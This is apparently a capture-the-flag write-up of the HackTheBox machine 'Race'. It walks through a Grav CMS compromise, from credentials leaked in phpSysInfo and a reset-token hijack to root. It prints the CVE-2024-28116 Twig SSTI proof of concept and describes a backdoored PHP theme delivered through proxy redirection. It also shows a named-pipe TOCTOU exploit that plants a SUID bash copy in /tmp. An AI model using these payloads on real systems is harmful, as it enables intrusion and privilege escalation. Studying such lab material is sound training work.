HTB: Race

Race starts with a website on Grav CMS, and a phpSysInfo page. I’ll find creds in the process list on phpSysInfo to get into the Grav admin panel as the limited backup user. I’ll create a backup, and use the results to reset the password of another admin. From this admin, I’ll show two ways to get execution, using CVE-2024-28116 and a malicious theme. From there I’ll pivot to the next user with a password from a shell script. For root, I’ll abuse a time-of-check / time-of-use vulnerability in a cron script, using named pipes to hang execution allowing me to switch files.
Box Info
Name | Race ![]() Play on HackTheBox |
---|---|
Release Date | 02 Sep 2025 |
Retire Date | 02 Sep 2025 |
OS | Linux ![]() |
Base Points | Hard [40] |
![]() |
N/A (non-competitive) |
![]() |
N/A (non-competitive) |
Creator |
Recon
Initial Scanning
nmap
finds two open TCP ports, SSH (22) and HTTP (80):
oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.129.234.211
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-28 15:54 UTC
...[snip]...
Nmap scan report for 10.129.234.211
Host is up, received echo-reply ttl 63 (0.095s latency).
Scanned at 2025-08-28 15:54:26 UTC for 6s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 5.98 seconds
Raw packets sent: 66231 (2.914MB) | Rcvd: 65536 (2.621MB)
oxdf@hacky$ nmap -p 22,80 -sCV 10.129.234.211
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-28 15:54 UTC
Nmap scan report for 10.129.234.211
Host is up (0.094s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 62:b0:1e:c5:e8:81:5c:94:39:ed:37:7e:21:cf:b1:a8 (ECDSA)
|_ 256 37:a3:d3:cd:35:dc:cc:d8:db:3c:c3:4d:ad:22:29:a9 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.13 seconds
Based on the OpenSSH and Apache versions, the host is likely running Ubuntu 22.04 jammy (or maybe 22.10 kinetic).
All of the ports show a TTL of 63, which matches the expected TTL for Linux one hop away.
Website - TCP 80
Site
The site is for a racing technology company:
The page does have an email address, fast@race.vl
.
Tech Stack
On visiting /
, it returns a 200 page that just uses JavaScript to redirect to /racers/
, which is the page above. That response sets a cookie:
HTTP/1.1 200 OK
Date: Thu, 28 Aug 2025 16:08:40 GMT
Server: Apache/2.4.52 (Ubuntu)
Set-Cookie: grav-site-09f1269=ofdbsclh7rv88d5sj0n4o9ee08; expires=Thu, 28-Aug-2025 16:38:41 GMT; Max-Age=1800; path=/racers/; domain=10.129.234.211; HttpOnly; SameSite=Lax
Expires: Thu, 04 Sep 2025 16:08:41 GMT
Cache-Control: max-age=604800
Pragma: no-cache
ETag: "210b4f8a077ef99d667a2eeb572812ca"
Content-Length: 11411
Connection: close
Content-Type: text/html;charset=UTF-8
The server is running Apache, and the cookie suggests Grav, an open-source PHP based CMS.
The page footer also shows this:

The 404 page is the default Apache 404:

Directory Brute Force
I can try feroxbuster
with -x php
, but it will find /racers/
and then a ton of stuff in there, most of which I can find by looking at the Grav source.
I am curious to know if there’s anything else in /
, so I’ll run with -n
to not recurse:
oxdf@hacky$ feroxbuster -u http://10.129.234.211 -x php -n
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.129.234.211
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
💲 Extensions │ [php]
🏁 HTTP methods │ [GET]
🚫 Do Not Recurse │ true
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403 GET 9l 28w 279c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 9l 31w 276c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 8l 16w 163c http://10.129.234.211/
401 GET 14l 54w 461c http://10.129.234.211/phpsysinfo
[####################] - 2m 30001/30001 0s found:2 errors:0
[####################] - 2m 30000/30000 254/s http://10.129.234.211/
/phpsysinfo
is return 401 because it requires HTTP basic auth.
Shell as www-data
phpSysInfo
I’ll guess admin / admin, and it works. There’s an instance of phpSysInfo:
This is a host system information display. It includes a process list,and looking at the tree under cron
, there’s a backup job with a password:

The password does not work for SSH:
oxdf@hacky$ netexec ssh 10.129.234.211 -u backup -p Wedobackupswithsecur3password5.Noonecanhackus!
SSH 10.129.234.211 22 10.129.234.211 SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13
SSH 10.129.234.211 22 10.129.234.211 [-] backup:Wedobackupswithsecur3password5.Noonecanhackus!
oxdf@hacky$ netexec ssh 10.129.234.211 -u root -p Wedobackupswithsecur3password5.Noonecanhackus!
SSH 10.129.234.211 22 10.129.234.211 SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13
SSH 10.129.234.211 22 10.129.234.211 [-] root:Wedobackupswithsecur3password5.Noonecanhackus!
oxdf@hacky$ netexec ssh 10.129.234.211 -u admin -p Wedobackupswithsecur3password5.Noonecanhackus!
SSH 10.129.234.211 22 10.129.234.211 SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13
SSH 10.129.234.211 22 10.129.234.211 [-] admin:Wedobackupswithsecur3password5.Noonecanhackus!
Admin Access as patrick
Grav Admin as backup
The Grav admin panel is at /racers/admin
, which I can find in the docs or with bruteforce like feroxbuster
. It presents a login form:

There’s a note about the length of the password having to be at least 32 characters, and it just so happens that the password from the cron is that long. It works with the backup user:

The backup user doesn’t have access to much. The Dashboard is empty. Tools presents a backup utility:

The banner says no backup has been generated. The configured profile will backup the entire site, minus some directories and files:

I’ll click “Backup Now” and it spins for a second before offering a download:

Backup
The unzipped backup file looks like the CMS file system:
oxdf@hacky$ ls
assets cache composer.json images logs robots.txt tmp webserver-configs
backup CHANGELOG.md composer.lock index.php now.json SECURITY.md user
bin CODE_OF_CONDUCT.md CONTRIBUTING.md LICENSE.txt README.md system vendor
A lot of the files and folders match what is in the Grav Github:

The Grav version is 1.7.43:
oxdf@hacky$ cat system/defines.php | grep GRAV_VERSION
define('GRAV_VERSION', '1.7.43');
Grav stores data in files. The user information is in user/accounts
:
oxdf@hacky$ ls user/accounts/
admin.yaml backup.yaml patrick.yaml
Each user has configuration information and a hashed password:
state: enabled
email: admin@race.vl
fullname: 'Admin I. Strator'
title: Administrator
access:
admin:
login: true
super: true
site:
login: true
hashed_password: $2y$10$/e6nnqGJ6un4X6wKPpyeNecHf8wyZ.G//0Q7XhLLuQ15v7sEzKVzS
There’s not much sense in trying to crack the passwords as I’ve already seen the policy requires 32 characters. The backup account has the admin access set to login
and maintenance
, which is why it can do so few things:
state: enabled
email: backup@race.vl
fullname: 'Ba C. Kup'
language: en
content_editor: default
twofa_enabled: false
twofa_secret: SMIJEB7XFJ7AEO6RPCKDWXUZ2MW4MOY4
avatar: { }
hashed_password: $2y$10$drGaFWuga2r3uPcQXqSEueEEru4hlWvYu.BixWiisEHdgFNi.BwYK
access:
admin:
login: true
maintenance: true
patrick has more access than backup, but less than admin:
state: enabled
email: patrick@race.vl
fullname: 'Patrick P. Rick'
language: en
content_editor: default
twofa_enabled: false
twofa_secret: LW35AG7V4U4NLOBVU5P6NG35GP5YWJKT
avatar: { }
hashed_password: $2y$10$TWyPZQDqMZJJ/0pLdWUbY.TxVKVMHP3LzfUTo3BYWFRID7uXaoXcC
reset: '553e7719d2674ae2bfb29eb0aaa806d0::1701718773'
access:
site:
login: true
admin:
login: true
super: false
cache: false
configuration:
system: true
site: true
media: false
security: false
info: false
pages: false
users: false
pages: true
maintenance: true
themes: true
There’s also a reset
value.
Password Reset Flow
When I click the “forgot” button on the login page it leads to /racers/admin/forgot
. Searching for that in the code shows a few places:
oxdf@hacky$ grep -r '/forgot'
user/plugins/admin/classes/plugin/Controllers/Login/LoginController.php: return $this->createRedirectResponse('/forgot');
user/plugins/admin/classes/plugin/Controllers/Login/LoginController.php: return $this->createRedirectResponse('/forgot');
user/plugins/admin/classes/plugin/Controllers/Login/LoginController.php: return $this->createRedirectResponse('/forgot');
user/plugins/admin/classes/plugin/Controllers/Login/LoginController.php: return $this->createRedirectResponse('/forgot');
user/plugins/admin/themes/grav/templates/partials/login-form.html.twig: <a class="button secondary" href="{{ admin_route('/forgot') }}"><i class="fa fa-exclamation-circle"></i> {{ 'PLUGIN_ADMIN.LOGIN_BTN_FORGOT'|t }}</a>
user/plugins/login/README.md:route_forgot: '/forgot_password' # Route for the forgot password process
user/plugins/login/blueprints.yaml: placeholder: "/forgot_password"
user/plugins/login/templates/forgot.html.twig: {% include 'partials/forgot-form.html.twig' %}
user/plugins/login/login.yaml:route_forgot: '/forgot_password' # Route for the forgot password process
user/plugins/login/login.php: $this->login->getRoute('forgot') ?: '/forgot_password',
LoginController.php
is most interesting. I’ll check out the functions:
oxdf@hacky$ grep 'function' user/plugins/admin/classes/plugin/Controllers/Login/LoginController.php
public function displayLogin(): ResponseInterface
public function displayForgot(): ResponseInterface
public function displayReset(string $username = null, string $token = null): ResponseInterface
public function displayRegister(): ResponseInterface
public function displayUnauthorized(): ResponseInterface
public function taskLogin(): ResponseInterface
public function taskLogout(): ResponseInterface
public function taskTwofa(): ResponseInterface
public function taskReset(string $username = null, string $token = null): ResponseInterface
public function taskForgot(): ResponseInterface
public function taskRegister(): ResponseInterface
protected function is2FA(UserInterface $user): bool
protected function getFormSubmitMethod(string $name): callable
return static function(array $data, array $files) {};
return function(array $data, array $files) {
private function doRegistration(array $data, array $files): void
private function getLogin(): Login
private function getEmail(): Email
private function getAccounts(): UserCollectionInterface
taskReset
seems like it might be what takes the reset string and compares it to what’s in the YAML file. It does some initialization, and then checks if the user passed into it exists, and if that user’s reset
value is not null:
/**
* Handle the reset password action.
*
* @param string|null $username
* @param string|null $token
* @return ResponseInterface
*/
public function taskReset(string $username = null, string $token = null): ResponseInterface
{
...[snip]...
$users = $this->getAccounts();
$username = $username ?? $data['username'] ?? null;
$token = $token ?? $data['token'] ?? null;
$user = $username ? $users->load($username) : null;
$password = $data['password'];
if ($user && $user->exists() && !empty($user->get('reset'))) {
...[snip]...
If there is a token, it breaks it on “::”, saving the first part as the token and the second as the expiration time. If the submitted token matches the loaded token and the expiration date isn’t past, then it resets the password:
...[snip]...
[$good_token, $expire] = explode('::', $user->get('reset'));
if ($good_token === $token) {
if (time() > $expire) {
$this->setMessage($this->translate('PLUGIN_ADMIN.RESET_LINK_EXPIRED'), 'error');
$this->form->reset();
return $this->createRedirectResponse('/forgot');
}
// Set new password.
$login = $this->getLogin();
try {
$login->validateField('password1', $password);
} catch (\RuntimeException $e) {
$this->setMessage($this->translate($e->getMessage()), 'error');
return $this->createRedirectResponse("/reset/u/{$username}/{$token}");
}
$user->undef('hashed_password');
$user->undef('reset');
$user->update(['password' => $password]);
$user->save();
$this->form->reset();
$this->setMessage($this->translate('PLUGIN_ADMIN.RESET_PASSWORD_RESET'));
return $this->createRedirectResponse('/login');
}
Admin::DEBUG && Admin::addDebugMessage(sprintf('Failed to reset password: Token %s is not good', $token));
} else {
Admin::DEBUG && Admin::addDebugMessage(sprintf('Failed to reset password: User %s does not exist or has not requested reset', $username));
}
$this->setMessage($this->translate('PLUGIN_ADMIN.RESET_INVALID_LINK'), 'error');
$this->form->reset();
return $this->createRedirectResponse('/forgot');
}
This code is handling the submission of the token. In the same file, I’ll find the taskForgot
function, which handles sending the email with the token to the user:
/**
* Handle the email password recovery procedure.
*
* Sends email to the user.
*
* @return ResponseInterface
*/
public function taskForgot(): ResponseInterface
{
/**
* Handle the email password recovery procedure.
*
* Sends email to the user.
*
* @return ResponseInterface
*/
public function taskForgot(): ResponseInterface
{
...[snip]...
The token is a random MD5, and the time is one hour from when it’s created:
$token = md5(uniqid(mt_rand(), true));
$expire = time() + 3600; // 1 hour
Later it creates the $reset_link
:
// Do not trust username from the request.
$fullname = $user->fullname ?: $username;
$author = $config->get('site.author.name', '');
$sitename = $config->get('site.title', 'Website');
$reset_link = $this->getAbsoluteAdminUrl("/reset/u/{$username}/{$token}");
Reset Password
The timestamp in my backup is from 2023, which is clearly expired. I’ll request a reset as patrick using the site (it will say the email failed to send, but that’s fine), and then download another backup. I can extract just the patrick.yaml
file, and the code is different from before:
oxdf@hacky$ unzip default_site_backup--20250829115451.zip user/accounts/patrick.yaml
Archive: default_site_backup--20250829115451.zip
inflating: user/accounts/patrick.yaml
oxdf@hacky$ cat user/accounts/patrick.yaml | grep reset
reset: '99dbabf226ea708a92257e429fa9caa4::1756472069'
The URL from this should be /racers/admin/reset/u/patrick/99dbabf226ea708a92257e429fa9caa4
:

Finding a valid password is a pain, so I’ll just use the same as backup, and it works:

I can log in as patrick and there’s a lot more options in the admin menubar:

Multiple Paths
On originally solving the box, I used CVE-2024-28116. Only after rooting did I learn that that CVE came out after the box was released on VulnLab. There’s another neat path involving themes and proxying.
flowchart TD;
subgraph identifier[" "]
direction LR
start1[ ] --->|intended| stop1[ ]
style start1 height:0px;
style stop1 height:0px;
start2[ ] --->|unintended| stop2[ ]
style start2 height:0px;
style stop2 height:0px;
end
A[Admin access\nas patrick]-->B(<a href='#cve-2024-28116'>CVE-2024-28116</a>);
B-->C[Shell as www-data];
A-->D(<a href='#malicious-theme'>Proxy + malicious\ntheme</a>);
D-->C;
linkStyle default stroke-width:2px,stroke:#FFFF99,fill:none;
linkStyle 1,2,3 stroke-width:2px,stroke:#4B9CD3,fill:none;
style identifier fill:#1d1d1d,color:#FFFFFFFF;
CVE-2024-28116
Identify
Searching for Grav CVEs I’ll find three main potential candidates:
- CVE-2021-29440 - SSTI - This is too old, and patched in 1.7.11, well before 1.7.43.
- CVE-2024-28116 - SSTI leading to RCE in versions up to 1.7.45.
- CVE-2025-50286 - This doesn’t have a version range, likely because it’s not a vulnerability, and shouldn’t be a CVE (IMHO). This has to do with the ability to upload a malicious plugin and get RCE. For Race, neither backup nor patrick have access to this.
Background
The Twig template engine is a PHP engine for build HTML and other documents from PHP. By design, it has a sandbox to prevent things like code execution. The CVE description says:
Grav is an open-source, flat-file content management system. Grav CMS prior to version 1.7.45 is vulnerable to a Server-Side Template Injection (SSTI), which allows any authenticated user (editor permissions are sufficient) to execute arbitrary code on the remote server bypassing the existing security sandbox. Version 1.7.45 contains a patch for this issue.
The security advisory shows a POC:
{% set arr = {'1':'system', '2':'foo'} %}
{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_functions', arr)) }}
{{ system('id') }}
It is overwriting the twig.safe_function
array to include system
and then running it.
Shell
I’ll go to the Pages section and create a new page, setting the content to the POC:

On loading /racers/0xdf
, there’s a bunch on the screen, but at the bottom is the output of id
:

I’ll update the page to a bash reverse shell:

On refreshing /racers/0xdf
, there’s a connection at nc
:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.234.211 40736
bash: cannot set terminal process group (1139): Inappropriate ioctl for device
bash: no job control in this shell
www-data@race:/var/www/html/racers$
I’ll upgrade my shell:
www-data@race:/var/www/html/racers$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@race:/var/www/html/racers$ ^Z
[1]+ Stopped nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
www-data@race:/var/www/html/racers$
Malicious Theme
Theme Connectivity
If I go to the Themes item in the menu bar, it shows the theme, and there’s an “+ Add” button at the top right:

If I click on it, it fails to show any because there’s no outbound connectivity from the VM to the internet:

Under Configuration –> Advanced, there’s the option to set a proxy. I’ll fill in my IP to point at my instance of Burp Proxy:

I’ve also turned off the verify options. Burp serves two purposes here. First, it will allow the site to make requests that can get out to the internet, as while the box can’t talk to the internet, my host can. Second, it will allow me to modify those requests, even if they are to HTTPS sites.
I’ll make sure my Burp is set to listen on all interfaces (under Proxy –> Proxy settings –> Tools –> Proxy –> Proxy listeners), and then go back to add a them, and there are a bunch there:

Installation Flow
I’ll turn on interception in Burp, and click “+ Install” on one of the themes. The page hangs:

The first request goes to the local site:
POST /racers/admin/themes.json/task:getPackagesDependencies HTTP/1.1
Host: 10.129.234.211
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://10.129.234.211/racers/admin/themes/install
Content-Type: multipart/form-data; boundary=----geckoformboundary8ad97f0c75c6d7528456f2976ec9b91
Content-Length: 317
Origin: http://10.129.234.211
Sec-GPC: 1
Connection: keep-alive
Cookie: grav-site-09f1269=p61ccje8rr2tg6klq1ub8frmb6; grav-site-09f1269-admin=mt0tr2utlbu65k0denlb5cf7kt; grav-tabs-state={%22tab--f0e041eed24f87f2b6b02fd6924d0a08%22:%22data.advanced%22}
Priority: u=0
------geckoformboundary8ad97f0c75c6d7528456f2976ec9b91
Content-Disposition: form-data; name="admin-nonce"
733efa32bd79767a5b0669c3e874459f
------geckoformboundary8ad97f0c75c6d7528456f2976ec9b91
Content-Disposition: form-data; name="packages"
aerial
------geckoformboundary8ad97f0c75c6d7528456f2976ec9b91--
I’ll forward that, and it says it’s ready to install:

On clicking continue, two more local requests, before this one:
GET /download/themes/aerial/2.0.4 HTTP/2
Host: getgrav.org
Referer: http://10.129.234.211/racers
User-Agent: Grav CMS
Accept: */*
Accept-Encoding: gzip, deflate, br
I’ll tell Burp to intercept the response, and it is a 302 redirect to another page on GitHub:
HTTP/2 302 Found
Date: Fri, 29 Aug 2025 22:11:23 GMT
Content-Type: text/html; charset=UTF-8
Location: https://github.com/Sommerregen/grav-theme-aerial/zipball/v2.0.4
Server: cloudflare
Cf-Ray: 976f62457dc4c587-IAD
Cf-Cache-Status: DYNAMIC
Cache-Control: no-store, no-cache, must-revalidate
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Set-Cookie: grav-site-e7f5c13=q6mjb0n8hptdbdcpib43a295f7; expires=Fri, 29-Aug-2025 22:41:23 GMT; Max-Age=1800; path=/; domain=getgrav.org; secure; HttpOnly; SameSite=Lax
Strict-Transport-Security: max-age=2592000
Vary: Accept-Encoding
Pragma: no-cache
Content-Security-Policy: upgrade-insecure-requests
Permissions-Policy: camera=(), geolocation=()
Referrer-Policy: strict-origin-when-cross-origin
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-Xss-Protection: 1; mode=block
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KdHrB%2FaLSeRp1lCIIZI0P6xD9govMsi9bdKPXshVuFsHdXD8ghJ9B5lvbnF17kY4UiqaxBNl2mEcesb6MmQTMdsnGdhohCD8aGv5cd9RMJPXKF7Et21zdj1Wpy8m"}],"group":"cf-nel","max_age":604800}
Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server-Timing: cfL4;desc="?proto=TCP&rtt=8520&min_rtt=8387&rtt_var=2514&sent=9&recv=12&lost=0&retrans=0&sent_bytes=3697&recv_bytes=1241&delivery_rate=517944&cwnd=246&unsent_bytes=0&cid=28e1633b9c1d3af1&ts=134&x=0"
This time I’ll just pass it through, and the website shows the details of the theme, and I’ll click “+ Install Theme”:

I’ll click “+ Install Theme” and let a bunch more local request through again until it makes the same GET request to https://getgrav.org/download/themes/aerial/2.0.4
. This time in the response I’ll update the Location
header to my host:

On letting that through, there’s a request to my server:
10.129.234.211 - - [29/Aug/2025 22:33:23] code 404, message File not found
10.129.234.211 - - [29/Aug/2025 22:33:23] "GET /Sommerregen/grav-theme-aerial/zipball/v2.0.4 HTTP/1.1" 404 -
I’ve effectively captured the install location.
Malicious Plugin
I’ll grab a copy of a real theme to my host:
oxdf@hacky$ git clone https://github.com/Sommerregen/grav-theme-aerial.git
Cloning into 'grav-theme-aerial'...
remote: Enumerating objects: 75, done.
remote: Total 75 (delta 0), reused 0 (delta 0), pack-reused 75 (from 1)
Receiving objects: 100% (75/75), 872.40 KiB | 6.66 MiB/s, done.
Resolving deltas: 100% (19/19), done.
I’ll open and add a simple backdoor to the top:

Now I’ll zip it up:
oxdf@hacky$ zip -r badaerial.zip grav-theme-aerial/
...[snip]...
RCE
I’ll repeat the installation steps, this time where it actually gets the zip. The resulting page is:

I’ll click “Active Aerial”, and it loads:

If I add ?cmd=id
to the URL, the output is there:

It’s right at the top of the source:

I can add a reverse shell there and get a shell as www-data.
Shell as max
Enumeration
There are two user account with home directories in /home
:
www-data@race:/home$ ls
max patrick
This matches the users with shells configured:
www-data@race:/$ cat etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
patrick:x:1000:1000:Patrick:/home/patrick:/bin/bash
max:x:1001:1001::/home/max:/bin/bash
Both home directories are world readable. patrick
is basically empty. max
has user.txt
as well as a link to race-scripts
:
www-data@race:/home/max$ ls -la
total 36
drwxr-xr-x 5 max max 4096 Dec 9 2023 .
drwxr-xr-x 4 root root 4096 Dec 3 2023 ..
lrwxrwxrwx 1 root root 9 Dec 3 2023 .bash_history -> /dev/null
-rw-r--r-- 1 max max 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 max max 3771 Jan 6 2022 .bashrc
drwx------ 2 max max 4096 Dec 3 2023 .cache
drwxrwxr-x 3 max max 4096 Dec 9 2023 .local
-rw-r--r-- 1 max max 807 Jan 6 2022 .profile
drwxrwxr-x 2 max max 4096 Dec 4 2023 bin
lrwxrwxrwx 1 max max 29 Dec 9 2023 race-scripts -> /usr/local/share/race-scripts
-rw-r----- 1 root max 33 Apr 16 04:17 user.txt
The race-scripts
directory has another backup plan:
www-data@race:/usr/local/share/race-scripts$ ls
backup offsite-backup.sh
There are two scripts, but both are the exact same, other than owner:
www-data@race:/usr/local/share/race-scripts$ find . -type f -ls
269766 4 -rwxr-xr-x 1 root racers 361 Dec 9 2023 ./backup/offsite-backup.sh
272728 4 -rwxr-xr-x 1 root root 361 Dec 5 2023 ./offsite-backup.sh
www-data@race:/usr/local/share/race-scripts$ md5sum offsite-backup.sh backup/offsite-backup.sh
d15804b944b40ca8540d37ed6bd80906 offsite-backup.sh
d15804b944b40ca8540d37ed6bd80906 backup/offsite-backup.sh
The script has a new subdomain, as well as old creds for max:
#!/usr/bin/bash
OFFSITE_HOST="offsite-backup.race.vl"
SOURCE_DIR="/var/www/html/racers/backup/"
# Disabled USER/PASS for security reasons. Will be provided via environment from cron.
# OFFSITE_USER="max"
# OFFSITE_PASS="ruxai0GaemaS1Rah"
/usr/bin/curl --insecure --connect-timeout 60 -u $OFFSITE_USER:$OFFSITE_PASS -T $SOURCE_DIR sftp://$OFFSITE_HOST/backups/
Creds
The creds work for max with su
:
www-data@race:/usr/local/share/race-scripts$ su - max
Password:
max@race:~$
They also work over SSH:
oxdf@hacky$ sshpass -p ruxai0GaemaS1Rah ssh max@10.129.234.211
Warning: Permanently added '10.129.234.211' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-152-generic x86_64)
...[snip]...
max@race:~$
And I’ll grab user.txt
:
max@race:~$ cat user.txt
80b27c66************************
Shell as root
Enumeration
I’ve already explored both home directories. max is in the racers group:
max@race:~$ id
uid=1001(max) gid=1001(max) groups=1001(max),1002(racers)
The only files / directories in this group are the race-script
directory I found earlier:
max@race:~$ find / -group racers 2>/dev/null
/usr/local/share/race-scripts
/usr/local/share/race-scripts/backup
/usr/local/share/race-scripts/backup/offsite-backup.sh
Looking at running processes, nothing jumps out. I’ll upload pspy using scp
:
oxdf@hacky$ sshpass -p ruxai0GaemaS1Rah scp /opt/pspy/pspy64 max@10.129.234.211:/dev/shm/pspy64
I’ll run it and wait a few minutes:
max@race:~$ /dev/shm/pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
...[snip]...
Every minute, it runs offsite-backup.sh
from cron
via secure-cron-runner.sh
:
2025/08/29 20:26:01 CMD: UID=0 PID=15850 | /usr/sbin/CRON -f -P
2025/08/29 20:26:01 CMD: UID=0 PID=15853 | /usr/bin/bash /usr/local/bin/secure-cron-runner.sh
2025/08/29 20:26:01 CMD: UID=0 PID=15851 | /bin/sh -c /usr/local/bin/secure-cron-runner.sh >/dev/null 2>/dev/null
2025/08/29 20:26:01 CMD: UID=0 PID=15857 | /usr/bin/bash /usr/local/share/race-scripts/offsite-backup.sh
secure-cron-runner.sh
is pretty straight forward:
#!/usr/bin/bash
## If scripts need environment variables put them into below file
## so that no one can see them.
. /root/conf/secure-cron-runner.env
declare -a scripts
declare -a sigs
## 0 = offsite-backup by max
scripts[0]="/usr/local/share/race-scripts/offsite-backup.sh"
sigs[0]="d15804b944b40ca8540d37ed6bd80906"
## add other scripts below
# scripts[1]="<path-to-script>"
# sigs[1]="<md5sum>"
# scripts[2]="<path-to-script>"
# sigs[2]="<md5sum>"
elems=${#scripts[@]}
for (( j=0; j<${elems}; j++ )) ; do
sig=$(/usr/bin/md5sum ${scripts[$j]} | awk '{print $1}')
if [[ "x$sig" == "x${sigs[$j]}" ]] ; then
# echo "Script is safe. Running it." >> /var/log/secure-cron-runner.log
${scripts[$j]}
else
# echo "Script is not safe. Skipping it. Please contact patrick to update signature." >> /var/log/secure-cron-runner.log
:
fi
done
It hardcodes MD5 hashes of scripts which is checks right before running them. If it doesn’t match, it doesn’t run, and instead logs the error.
TOCTOU
Strategy
There’s a tiny gap between when the hash is calculated and when the script is run. max has ownership over this directory and the scripts in it, so I can change the contents. That leaves a gap for me to change the contents of the script to run what I want. This is a time of check / time of use (TOCTOU) vulnerability.
The initial script is owned by root:root, and I can’t write to it, so I’ll just delete it:
max@race:/usr/local/share/race-scripts$ ls -l
total 8
drwxr-sr-x 2 root racers 4096 Dec 9 2023 backup
-rwxr-xr-x 1 root root 361 Dec 5 2023 offsite-backup.sh
max@race:/usr/local/share/race-scripts$ rm offsite-backup.sh
rm: remove write-protected regular file 'offsite-backup.sh'? y
max@race:/usr/local/share/race-scripts$ ls
backup
I initially played with a loop trying to constantly change the script back and forth, but this isn’t very reliable. I did make a loop and leave it running and after about 15 minutes got a reverse shell, but there’s a better way. I’ll use a named pipe to block execution of the md5sum
command until I can replace the file and then let it continue.
Named Pipe Demo
If I create a pipe and then try to get the md5sum
of it, it will hang until there’s something in the pipe:
max@race:/usr/local/share/race-scripts$ mkfifo x
max@race:/usr/local/share/race-scripts$ md5sum x
In another terminal, I’ll write something:
max@race:/usr/local/share/race-scripts$ echo "test" > x
As soon as I do, it completes:
max@race:/usr/local/share/race-scripts$ md5sum x
d8e8fca2dc0f896fd7cb4cb0031ba249 x
And the output matches the input to the pipe:
max@race:/usr/local/share/race-scripts$ echo "test" | md5sum
d8e8fca2dc0f896fd7cb4cb0031ba249 -
I’ll try this again with another pipe:
max@race:/usr/local/share/race-scripts$ mkfifo y
max@race:/usr/local/share/race-scripts$ md5sum y
It hangs. In the other terminal, I’ll move y
to z
, and then write to it:
max@race:/usr/local/share/race-scripts$ mv y z
max@race:/usr/local/share/race-scripts$ echo "test" > z
As soon as I write to z
, the md5sum
returns:
max@race:/usr/local/share/race-scripts$ md5sum y
d8e8fca2dc0f896fd7cb4cb0031ba249 y
This is because once the system gets a handle to the object, even if the file name changes, it’s still reading from that object.
So to attack this, I’m going to create the script as a pipe and wait for md5sum
to try to read from it and hang. Then I’ll move the script to something else, and put my malicious script in place. Then I’ll write the legit script into the pipe so the MD5 hash comes back right, and then my script is run.
Exploit
I’ll start by making a pipe with the script name:
max@race:/usr/local/share/race-scripts$ mkfifo offsite-backup.sh
I’ll wait until the next minute, and then check the process list:
max@race:/usr/local/share/race-scripts$ ps auxww
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
...[snip]...
root 270112 0.0 0.0 7372 1592 ? S 20:48 0:00 /usr/bin/bash /usr/local/bin/secure-cron-runner.sh
root 270113 0.0 0.0 5784 1040 ? S 20:48 0:00 /usr/bin/md5sum /usr/local/share/race-scripts/offsite-backup.sh
...[snip]...
Now I’ll move the pipe:
max@race:/usr/local/share/race-scripts$ mv offsite-backup.sh pipe
And create a malicious script:
max@race:/usr/local/share/race-scripts$ echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchmod 6777 /tmp/0xdf' | tee offsite-backup.sh
#!/bin/bash
cp /bin/bash /tmp/0xdf
chmod 6777 /tmp/0xdf
max@race:/usr/local/share/race-scripts$ chmod +x offsite-backup.sh
I’ll write to the pipe:
max@race:/usr/local/share/race-scripts$ cat backup/offsite-backup.sh > pipe
max@race:/usr/local/share/race-scripts$ ls -l /tmp/0xdf
-rwsrwsrwx 1 root root 1396520 Aug 29 20:51 /tmp/0xdf
And there’s a SetUID / SetGID bash
for me. I’ll get a shell:
max@race:/usr/local/share/race-scripts$ /tmp/0xdf -p
0xdf-5.1#
And grab the flag:
0xdf-5.1# cat /root/root.txt
372abde9************************